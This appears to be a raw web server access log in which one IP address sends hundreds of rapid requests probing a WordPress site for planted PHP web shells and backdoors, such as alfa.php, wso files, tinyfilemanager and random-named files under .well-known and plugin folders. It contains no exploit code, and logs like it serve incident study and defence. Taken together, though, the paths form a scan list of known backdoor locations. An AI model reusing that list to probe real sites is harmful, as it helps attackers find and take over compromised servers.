[25/Apr/2025:14:12:18 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:23 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/Ge/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:28 -0400] "GET /wp-admin/includes/zipp.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:32 -0400] "GET /wp-content/uploads/showupload.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:34 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:36 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:38 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:40 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/ovakvbycd.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:42 -0400] "GET /wp-admin/includes/class_api.php999 HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:45 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:47 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:48 -0400] "GET /1rbxb768.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:50 -0400] "GET /he.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:53 -0400] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:12:57 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:02 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:07 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:12 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:14 -0400] "GET /wp-admin/js/widgets/jLFgZjjsqs.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:17 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:21 -0400] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:27 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:31 -0400] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:35 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:38 -0400] "GET /wp-includes/yes.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:41 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:45 -0400] "GET /wp-content/termps.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:50 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:52 -0400] "GET /epdwm.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:56 -0400] "GET /wp-content/plugins/woocommerce/assets/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:13:58 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:01 -0400] "GET /wp-includes/Text/Diff/Renderer/eqw5de.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:06 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:09 -0400] "GET /.well-known/acme-challenge/tiny.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:13 -0400] "GET /assets/images/206d2bdfbd.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:14 -0400] "GET /cvawk.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:18 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:21 -0400] "GET /wp-admin/js/widgets/text-widgets.min.js.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:24 -0400] "GET /wp-includes/1671b870622bf3admin.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:26 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:27 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:31 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:33 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:35 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:38 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:40 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:43 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:45 -0400] "GET /wp-includes/Requests/library/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:46 -0400] "GET /.well-known/siuqzorv.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:47 -0400] "GET /wp-admin/css/colors/coffee/css.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:48 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:49 -0400] "GET /.well-known/pki-validation/ahzjhofz.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:50 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:51 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:53 -0400] "GET /wp-admin/js/widgets/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:56 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:14:57 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:00 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:04 -0400] "GET /components/attari.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:11 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:15 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:17 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:20 -0400] "GET /wp-admin/includes/legendneverdie.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:25 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:29 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:31 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:33 -0400] "GET /cong.php935 HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:36 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:37 -0400] "GET /wp-content/plugins/portfolio-post-type/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:39 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:40 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:44 -0400] "GET /wp-content/languages/file.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:45 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:47 -0400] "GET /wp-includes/images/wthvideo.min.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:49 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:52 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:55 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:57 -0400] "GET /csxcvtg6v?key=51851b87a35f6a6288e1eef649afb2dccss.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:15:59 -0400] "GET /wp-admin/css/colors/sunrise/HmfdSRigQv.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:00 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:02 -0400] "GET /css/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:04 -0400] "GET /bovaxayy.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:05 -0400] "GET /wp-admin/css/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:08 -0400] "GET /wp-includes/ovackgowa.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:12 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:15 -0400] "GET /shirtkobain/mail.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:17 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:18 -0400] "GET /wp-includes/wp-class-entry-shield.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:22 -0400] "GET /.well-known/tiny.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:25 -0400] "GET /wp-admin/css/upgrade.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:29 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:32 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:33 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:35 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:39 -0400] "GET /wp-content/plugins/wxzanln/ovarxggtq.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:40 -0400] "GET /.well-known/acme-challenge/index_php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:42 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:46 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:50 -0400] "GET /ulc6.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:51 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:53 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:54 -0400] "GET /wp-content/upgrade/8eNAbZK4gI.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:57 -0400] "GET /.well-known/pki-validation/class_api.php999 HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:16:58 -0400] "GET /autoloadclassmap.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:00 -0400] "GET /tjspfvjh.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:05 -0400] "GET /wp-content/plugins/erinyani/baxa1.php7 HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:12 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:17 -0400] "GET /.well-known/crlunpft.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:22 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:26 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:28 -0400] "GET /wp-content/languages/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:30 -0400] "GET /wp-content/uploads/6CCPahUZVr.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:32 -0400] "GET /.well-known/pki-validation/akrcovxu.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:35 -0400] "GET /.well-known/xoxo.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:38 -0400] "GET /admin/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:41 -0400] "GET /wp-admin/images/media-button-other.gif.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:42 -0400] "GET /wp-includes/random_compat/niko.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:43 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:43 -0400] "GET /assets/js/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:44 -0400] "GET /bakvxppf.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:45 -0400] "GET /wp-admin/maint/k.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:46 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:47 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:48 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:49 -0400] "GET /wp-admin/maint/item.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:50 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:51 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:52 -0400] "GET /wp-content/plugins/xolanpf/ovamsmcsg.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:53 -0400] "GET /wp-content/themes/Divi-2/core/ovaawqfhg.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:54 -0400] "GET /wp-includes/media-blogs.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:54 -0400] "GET /wp-content/upgrade/newch.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:55 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:56 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:57 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:17:58 -0400] "GET /0yhs1bgh.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:00 -0400] "GET /css/text.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:02 -0400] "GET /hvemizso.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:04 -0400] "GET /wp-content/uploads/2023/10/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:06 -0400] "GET /wp-includes/uttiwenl.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:08 -0400] "GET /.well-known/acme-challenge/edii7rIWJF.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:10 -0400] "GET /.well-known/acme-challenge/indec.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:12 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:14 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:16 -0400] "GET /wp-content/plugins/dxoksvn/ovandccqr.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:17 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:19 -0400] "GET /.well-known/acme-challenge/lo.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:21 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:23 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:24 -0400] "GET /wp-content/moderation.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:25 -0400] "GET /.well-known/acme-challenge/fai.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:27 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:28 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:29 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:31 -0400] "GET /files/file_uploader.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:32 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:33 -0400] "GET /wp-content/plugins/ecphbbr/ovadncdwv.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:33 -0400] "GET /wordpress/wp-content/themes/as/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:34 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:35 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:36 -0400] "GET /wp-admin/css/colors/ectoplasm/JWWwEMipZk.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:37 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:37 -0400] "GET /rrwrzgsf.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:38 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:40 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:41 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:42 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:43 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:44 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:44 -0400] "GET /wp-includes/SimplePie/Cache/checkbex.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:45 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:46 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:46 -0400] "GET /wp-content/themes/wp-pridmag/lock.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:47 -0400] "GET /wordpress/wp-includes/blocks/list-item/ovabliphi.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:48 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:49 -0400] "GET /.well-known/pyfskulr.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:51 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:51 -0400] "GET /wp-includes/Requests/Cookie/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:52 -0400] "GET /wp-includes/css/category-template-1735882605.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:53 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:55 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:56 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:57 -0400] "GET /wp-includes/Text/Diff/Renderer/ltiies.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:58 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:18:59 -0400] "GET /assets/index1.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:00 -0400] "GET /wp-content/plugins/elementor/includes/ovamstwqf.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:01 -0400] "GET /wp/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:02 -0400] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:03 -0400] "GET /assets/content.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:04 -0400] "GET /baxa1.php8 HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:05 -0400] "GET /wp-admin/includes/media.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:07 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:08 -0400] "GET /wp-admin/maint/baxa1.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:09 -0400] "GET /xc.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:11 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:13 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:14 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:15 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:17 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:20 -0400] "GET /cache/d/b/f/e/ovaioxoql.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:22 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:23 -0400] "GET /wp-includes/ID3/file.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:24 -0400] "GET /.well-known/item.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:26 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:27 -0400] "GET /copypaths.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:28 -0400] "GET /uzihbfah.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:30 -0400] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:32 -0400] "GET /wp-includes/theme-compat/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:34 -0400] "GET /wp-includes/wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:35 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:36 -0400] "GET /wp-includes/assets/archives-1736057179.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:37 -0400] "GET /wp-includes/php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:39 -0400] "GET /.well-known/acme-challenge/options.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:41 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:42 -0400] "GET /wordpress/wp-content/plugins/yqeH2A5oLXfIFNVSl856Wm/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:43 -0400] "GET /wp-content/plugins/pwnd/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:44 -0400] "GET /.well-known/okercskj.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:45 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:46 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:46 -0400] "GET /admin/uploads/Property_5bb750a72c247.php HTTP/1.1" 